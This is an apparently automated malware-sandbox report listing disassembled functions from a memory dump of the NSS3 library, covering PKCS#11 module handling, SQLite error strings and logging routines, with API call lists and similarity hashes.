strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C69781D), ref: 6C696C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C696C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C696C96

Part of subcall function 6C641240: TlsGetValue.KERNEL32(00000040,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641267
Part of subcall function 6C641240: EnterCriticalSection.KERNEL32(?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C64127C
Part of subcall function 6C641240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641291
Part of subcall function 6C641240: PR_Unlock.NSS3(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C6412A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C696CAA

Strings

dbm, xrefs: 6C696CA4
extern:, xrefs: 6C696C7E
NSS_DEFAULT_DB_TYPE, xrefs: 6C696C91
sql:, xrefs: 6C696C52
rdb:, xrefs: 6C696C69
dbm:, xrefs: 6C696C3A

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: c196fb9460011e818bc2b35c1378a8d3b495fdd042ff49280a1e2b73dd4b63e2
Instruction ID: 0fe2c62c29fcbf0ef25a135404f7e84b729a72df7edb3cf82263d452de9dfbd1
Opcode Fuzzy Hash: c196fb9460011e818bc2b35c1378a8d3b495fdd042ff49280a1e2b73dd4b63e2
Instruction Fuzzy Hash: D301A2A170630277FA4027BA7E4AF66355C9F41259F144531FE04E0981EB92E61480E9

Function 6C6A4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C6678F8), ref: 6C6A4E6D

Part of subcall function 6C6409E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C6406A2,00000000,?), ref: 6C6409F8
Part of subcall function 6C6409E0: malloc.MOZGLUE(0000001F), ref: 6C640A18
Part of subcall function 6C6409E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C640A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C6678F8), ref: 6C6A4ED9

Part of subcall function 6C695920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C697703,?,00000000,00000000), ref: 6C695942
Part of subcall function 6C695920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C697703), ref: 6C695954
Part of subcall function 6C695920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C69596A
Part of subcall function 6C695920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C695984
Part of subcall function 6C695920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C695999
Part of subcall function 6C695920: free.MOZGLUE(00000000), ref: 6C6959BA
Part of subcall function 6C695920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C6959D3
Part of subcall function 6C695920: free.MOZGLUE(00000000), ref: 6C6959F5
Part of subcall function 6C695920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C695A0A
Part of subcall function 6C695920: free.MOZGLUE(00000000), ref: 6C695A2E
Part of subcall function 6C695920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C695A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4EB3

Part of subcall function 6C6A4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C6A4EB8,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A484C
Part of subcall function 6C6A4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C6A4EB8,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A486D
Part of subcall function 6C6A4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C6A4EB8,?), ref: 6C6A4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4EC0

Part of subcall function 6C6A4470: TlsGetValue.KERNEL32(00000000,?,6C667296,00000000), ref: 6C6A4487
Part of subcall function 6C6A4470: EnterCriticalSection.KERNEL32(?,?,?,6C667296,00000000), ref: 6C6A44A0
Part of subcall function 6C6A4470: PR_Unlock.NSS3(?,?,?,?,6C667296,00000000), ref: 6C6A44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F8F
PK11_UpdateSlotAttribute.NSS3(?,6C77DCB0,00000000), ref: 6C6A4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C6A501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A506B

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 306bf7aacf141ee09f79a1ecf42902009a74b359ca8103d0047559dbe89b2749
Instruction ID: 92bd4522a208fcd338fb28edf80d380f17c0a449611768c9f1f27572a16d81e7
Opcode Fuzzy Hash: 306bf7aacf141ee09f79a1ecf42902009a74b359ca8103d0047559dbe89b2749
Instruction Fuzzy Hash: 8D5124B1D00602ABEB019FA5EC01AAA76B4FF0635CF144535E80682A11FB71DD56CB9E

Function 6C64ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C64ACE2
malloc.MOZGLUE(00000001), ref: 6C64ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C64AD02
TlsGetValue.KERNEL32 ref: 6C64AD3C
calloc.MOZGLUE(00000001,?), ref: 6C64AD8C
PR_Unlock.NSS3 ref: 6C64ADC0
free.MOZGLUE(00000000), ref: 6C64AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C64AE58
free.MOZGLUE(00000000), ref: 6C64AE69
free.MOZGLUE(?), ref: 6C64AE78
PR_Unlock.NSS3 ref: 6C64AE8C
free.MOZGLUE(?), ref: 6C64AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C64AEC7

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 84f6e60270b873b5bf19e335ede44e8364a518f43c777defb0ce42703ea2c3ad
Instruction ID: 6106790eaf8e23609cd09d723854ff11c9532eb50bce59898821e2ab9ce1c20f
Opcode Fuzzy Hash: 84f6e60270b873b5bf19e335ede44e8364a518f43c777defb0ce42703ea2c3ad
Instruction Fuzzy Hash: 0051CEB1E01216ABDF00DFA8DC45AAE77B4BB06349F14C135D814A7B12E731A915CBEE

Function 6C724C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C724CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C724CFD
sqlite3_value_text16.NSS3(?), ref: 6C724D44

Strings

invalid, xrefs: 6C724CF1
out of memory, xrefs: 6C724C78, 6C724C9E
bad parameter or other API misuse, xrefs: 6C724D05
abort due to ROLLBACK, xrefs: 6C724D27, 6C724D33
another row available, xrefs: 6C724D20
API call with %s database connection pointer, xrefs: 6C724CF6
no more rows available, xrefs: 6C724D2E
unknown error, xrefs: 6C724D56

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 3507746ccf8fa93d6c10d310b67e49ebcf88de9919d69bc53533051726c1ce75
Instruction ID: d20f984e5d4986f1caa022d4c81b56f581435f2f232f62a3877840c1ca14a411
Opcode Fuzzy Hash: 3507746ccf8fa93d6c10d310b67e49ebcf88de9919d69bc53533051726c1ce75
Instruction Fuzzy Hash: A531CB73E08811A7D7084A2CAB127A57721B783318F150535C9244BF55C7BCAC91B7E6

Function 6C682CD0 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6C682CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C682D07

Part of subcall function 6C7609D0: PR_Now.NSS3 ref: 6C760A22
Part of subcall function 6C7609D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C760A35
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C760A66
Part of subcall function 6C7609D0: PR_GetCurrentThread.NSS3 ref: 6C760A70
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C760A9D
Part of subcall function 6C7609D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C760AC8
Part of subcall function 6C7609D0: PR_vsmprintf.NSS3(?,?), ref: 6C760AE8
Part of subcall function 6C7609D0: EnterCriticalSection.KERNEL32(?), ref: 6C760B19
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C760B48
Part of subcall function 6C7609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C760C76
Part of subcall function 6C7609D0: PR_LogFlush.NSS3 ref: 6C760C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C682D22

Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(?), ref: 6C760B88
Part of subcall function 6C7609D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C760C5D
Part of subcall function 6C7609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C760C8D
Part of subcall function 6C7609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C760C9C
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(?), ref: 6C760CD1
Part of subcall function 6C7609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C760CEC
Part of subcall function 6C7609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C760CFB
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C760D16
Part of subcall function 6C7609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C760D26
Part of subcall function 6C7609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C760D35
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C760D65
Part of subcall function 6C7609D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C760D70
Part of subcall function 6C7609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C760D90
Part of subcall function 6C7609D0: free.MOZGLUE(00000000), ref: 6C760D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C682D3B

Part of subcall function 6C7609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C760BAB
Part of subcall function 6C7609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C760BBA
Part of subcall function 6C7609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C760D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6C682D54

Part of subcall function 6C7609D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C760BCB
Part of subcall function 6C7609D0: EnterCriticalSection.KERNEL32(?), ref: 6C760BDE
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(?), ref: 6C760C16

Strings

slotID = 0x%x, xrefs: 6C682D02
ulPinLen = %d, xrefs: 6C682D36
nvl, xrefs: 6C682D6C, 6C682D9A
pLabel = 0x%p, xrefs: 6C682D4F
C_InitToken, xrefs: 6C682CE7
pPin = 0x%p, xrefs: 6C682D1D

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken$nvl
API String ID: 420000887-506700037
Opcode ID: ef7b5359429b0a0586b3b60ace916b72e40df43bf4c13400fdcbc6675a6f3562
Instruction ID: 955d1e8f7988c384628d13504675b998b6af728c9adcb911813f16929084d8b2
Opcode Fuzzy Hash: ef7b5359429b0a0586b3b60ace916b72e40df43bf4c13400fdcbc6675a6f3562
Instruction Fuzzy Hash: 7B218675202148AFDB009F54DE8CE453FF6EB4235DF448034E90897A62DB309959CB7E

Function 6C722D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C722D9F

Part of subcall function 6C5DCA30: EnterCriticalSection.KERNEL32(?,?,?,6C63F9C9,?,6C63F4DA,6C63F9C9,?,?,6C60369A), ref: 6C5DCA7A
Part of subcall function 6C5DCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5DCB26

sqlite3_exec.NSS3(?,?,6C722F70,?,?), ref: 6C722DF9
sqlite3_free.NSS3(00000000), ref: 6C722E2C
sqlite3_free.NSS3(?), ref: 6C722E3A
sqlite3_free.NSS3(?), ref: 6C722E52
sqlite3_mprintf.NSS3(6C78AAF9,?), ref: 6C722E62
sqlite3_free.NSS3(?), ref: 6C722E70
sqlite3_free.NSS3(?), ref: 6C722E89
sqlite3_free.NSS3(?), ref: 6C722EBB
sqlite3_free.NSS3(?), ref: 6C722ECB
sqlite3_free.NSS3(00000000), ref: 6C722F3E
sqlite3_free.NSS3(?), ref: 6C722F4C

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 0e6a4e4ec064bad3a4a2e42bc72709a20611f34633e53df68bd94d7e87707af0
Instruction ID: b39af2a6352e5ed4a62118d0c17db90a238e48776222c0a02910b1962d4f26b3
Opcode Fuzzy Hash: 0e6a4e4ec064bad3a4a2e42bc72709a20611f34633e53df68bd94d7e87707af0
Instruction Fuzzy Hash: E36190B5E112058BEB10CF68D989B9EB7B5EF88368F154038DC15A7701EB39E845CBA1

Function 6C667C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C7B2120,Function_00097E60,00000000,?,?,?,?,6C6E067D,6C6E1C60,00000000), ref: 6C667C81

Part of subcall function 6C5D4C70: TlsGetValue.KERNEL32(?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4C97
Part of subcall function 6C5D4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CB0
Part of subcall function 6C5D4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CC9

TlsGetValue.KERNEL32 ref: 6C667CA0
EnterCriticalSection.KERNEL32(?), ref: 6C667CB4
PR_Unlock.NSS3 ref: 6C667CCF

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

TlsGetValue.KERNEL32 ref: 6C667D04
EnterCriticalSection.KERNEL32(?), ref: 6C667D1B
realloc.MOZGLUE(-00000050), ref: 6C667D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C667DF4
PR_Unlock.NSS3 ref: 6C667E0E

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 96db53677b634acf98d3b06285864869eb5c8aedae084c48ef9f62a148587d49
Instruction ID: cd0d8d44517823f72526ae685aab853acb2ea2a1c4186cb4cc9c4450451460b2
Opcode Fuzzy Hash: 96db53677b634acf98d3b06285864869eb5c8aedae084c48ef9f62a148587d49
Instruction Fuzzy Hash: D5510271A05104AFDB009F2ADC44E6537F6EB42399F154539ED0887B21EB319855CB9A

Function 6C5D4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CB0
PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4D97
PR_Lock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4DBA
PR_WaitCondVar.NSS3 ref: 6C5D4DD4
PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4DEF

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 8aaacbb53f269875e8be44293b8c15b2196d29bfa51fd197a381209bcb6ae6bb
Instruction ID: b5fcaae559bf753048d4b60958587037310b3b922127659d4ecc4e21f5f8e7a1
Opcode Fuzzy Hash: 8aaacbb53f269875e8be44293b8c15b2196d29bfa51fd197a381209bcb6ae6bb
Instruction Fuzzy Hash: 85414DB5A04715CFCB00EF7CD48855977F4BF06318B168A79D8989B710EB30E895CB9A

Function 6C678F70 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C679013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C679042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C67905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C679073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C6790EC

Part of subcall function 6C640F00: PR_GetPageSize.NSS3(6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F1B
Part of subcall function 6C640F00: PR_NewLogModule.NSS3(clock,6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C679111

Strings

nvl, xrefs: 6C6790A3

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID: nvl
API String ID: 2831689957-2622381835
Opcode ID: afe78bc33f057b9082db7b430dd6efd43c97ea06c247e4ff300a89fba2d6200a
Instruction ID: d74f2e93babd35cd936143d9b71e5b7503c60e8e16c168bc921b4e38c40c5d29
Opcode Fuzzy Hash: afe78bc33f057b9082db7b430dd6efd43c97ea06c247e4ff300a89fba2d6200a
Instruction Fuzzy Hash: 2E51AB70A042158FCF10EF38C488699BBF1BF0A358F0559B9DC449B716EB35E885CBA9

